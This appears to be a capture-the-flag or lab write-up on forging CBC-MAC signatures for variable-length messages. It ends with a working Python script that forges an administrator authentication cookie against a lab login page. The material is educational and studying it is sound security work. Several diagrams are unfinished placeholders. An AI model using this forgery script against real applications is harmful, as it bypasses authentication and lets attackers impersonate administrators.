Skip to main content

cbc-mac-i

CBC-MAC I

What is CBC-MAC?

CBC-MAC is a method to ensure the integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as a "signature". This ensures that a malicious user cannot modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature cannot be guessed.

However, when using CBC-MAC, the developer needs to be very careful if the messages are not of a fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.

The attack

Theory

With CBC-MAC, we can generate two signatures t and t' for the messages m and m'. By using m and m' we can forge another message m'' that will have the same signature as m' (t').

info

One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.

To keep things simple, we are going to work on a single block for each message.

We can see below how signing both messages works (NB: both signatures are completely independent of each other):

TODO image

If we try to concatenate those messages, the signature will no longer be valid (since t is now the IV for the second block where it was only NULL before):

TODO image

However, if we XOR m' and t, the signature is now t':

TODO image


Attack Flow

  1. Login with the username "administ".
  2. Decode the cookie, extract the signature.
  3. XOR the signature with "rator".
  4. Login with this value as username.
  5. Decode the new cookie, extract the signature.
  6. Concatinate the signature with the administrator to get cookie.
  7. Send the cookie to the application.

Math Behind Signature Extraction

TODO image


The Attack in Action

The application authenticates users by issuing a cookie of the form:

base64(username + "--" + CBC-MAC(username))

The MAC is computed using CBC-MAC with a NULL IV and a fixed block size of 8 bytes.

Because CBC-MAC is unsafe for variable-length messages, we can abuse it to forge a valid MAC for a longer username.

We first log in with a username equal to the first 8 bytes of administrator:

m = "administ"

The server returns a cookie:

auth = base64("administ--t") ## t here is the signature

We extract t, the CBC-MAC of "administ".

We split "administrator" into two blocks:

Block 1: administ
Block 2: rator\x00\x00\x00

In CBC-MAC:

MAC(m || m') = MAC( (m' XOR t) )

So we compute:

m' = ("rator\x00\x00\x00") XOR t

Then we log in again using this binary username m'.
The server signs it (using a NULL IV) and returns a new MAC t'.

We now have everything we need:

  • Username: administrator
  • MAC: t'

Final forged cookie:

base64("administrator--t'")

This cookie is accepted by the server and logs us in as administrator.


Final Solution Script
import requests
import base64
from urllib.parse import quote_plus, quote_from_bytes, unquote_to_bytes

def xor_strings(s1, s2):
if isinstance(s1, str):
s1 = s1.encode()
if isinstance(s2, str):
s2 = s2.encode()

s1 = s1.ljust(8, b'\x00')
s2 = s2.ljust(8, b'\x00')

return bytes(a ^ b for a, b in zip(s1, s2))

def getSignature(signature):
# Cookie value is URL-encoded base64; unquote then pad and decode
if isinstance(signature, str):
sig_bytes = unquote_to_bytes(signature)
else:
sig_bytes = unquote_to_bytes(signature.decode())
pad = (-len(sig_bytes)) % 4
sig_bytes += b"=" * pad
return base64.b64decode(sig_bytes, validate=False).split(b'--')[1]

def getCookieAndSignature(username):
url = "http://ptl-a2560ca94070-a6ddaac399b1.libcurl.me/login.php"

# Preserve exact bytes of username via URL encoding
if isinstance(username, bytes):
username_field = quote_from_bytes(username)
else:
username_field = quote_plus(username)

payload = f"username={username_field}&password=Password1"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url, data=payload, headers=headers, allow_redirects=False)
auth_cookie = response.cookies.get('auth')
if not auth_cookie:
raise ValueError(f"No auth cookie returned (status {response.status_code})")
return auth_cookie, getSignature(auth_cookie)

print("Cookie and Signature value for the user 'administ' are:", getCookieAndSignature("administ")) # First we login as "administ" to get the signature

new_username = xor_strings("rator", getCookieAndSignature("administ")[1]) # We can now use the signature (t) and XOR this with "rator".

print("Signature value for new user is:", getCookieAndSignature(new_username)[1]) # We can now get the signature for the new user.

print("Administrator cookie is:", base64.b64encode(b"administrator--" + getCookieAndSignature(new_username)[1]).decode())